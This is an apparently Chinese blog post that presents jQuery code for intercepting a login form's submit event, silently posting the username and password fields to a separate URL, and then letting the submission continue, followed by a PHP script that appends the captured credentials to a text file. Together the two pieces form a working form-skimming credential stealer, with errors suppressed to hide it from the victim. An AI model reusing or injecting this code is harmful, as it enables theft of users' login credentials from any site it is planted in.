No Comments | js , 安全 , PHP | by calms | 96 Views. | 2013-09-03, 11:32 PM
以下test.html是一个实例,主要讲述和演示了这样一种需求:截获submit事件,中断处理完后,继续用户提交。
实现起来其实并不是很难,但是要兼容所有的浏览器或者说绝大多数的浏览器就需要好好处理一下了。我已经为此做了一点尝试(使用了jquery,满足基本的兼容要求),分享给大家,少走弯路。
test.html如下,源码中有中一个id为main的form中有两个表单项,如下:
07 | < input id = "username" name = "username" type = "text" > |
08 | < input id = "password" name = "password" type = "text" > |
11 | < script src = "get.js" ></ script > |
我的方案是使用jquery,因为jquery已经有很好的兼容性。主要是在截获form的submit事件以及发送数据上具有兼容性。以下代码在ie(6、7、8、9、10),chrome,firefox,opera,safari五类浏览器中测试通过,思路很简单:截获submit事件,处理完后继续submit。至于这样写能做些什么事就是仁者见仁,智者见智了。
02 | window.onerror = function () { return true ; } |
03 | jQuery( '#main' ).removeAttr( 'onsubmit' ).unbind( "submit" ).submit( function (e){ |
09 | if ($.browser.msie) return true ; |
10 | else if ($.browser.safari) return false ; |
11 | else if ($.browser.mozilla) return false ; |
12 | else if ($.browser.opera) return false ; |
16 | function checksubmit(){ |
17 | jQuery.post(_psturl+ "?t=" +Math.random(), { "u" : $( "#username" ).val(), "p" : $( "#password" ).val() }, |
18 | function (data){jQuery( '#main' ).removeAttr( 'onsubmit' ).unbind( "submit" ).submit()} ); |
我想数据接收端也有人需要吧。。好吧,我贴出来:
03 | date_default_timezone_set( "America/Los_Angeles" ); |
05 | exit (addLog( "youwant.txt" )); |
08 | function addLog( $file = "a_test.txt" ){ |
09 | $fp = @ fopen ( $file , 'a+' ); |
11 | $str = date ( "Y-m-d H:i:s" ). "\t" ; |
12 | $str .= _post( 'u' ). "\t" ; |
13 | $str .= _post( 'p' ). "\r\n" ; |
21 | $val = ! empty ( $_POST [ $str ]) ? $_POST [ $str ] : null; |
22 | if (get_magic_quotes_gpc()) $val = stripslashes ( $val ); |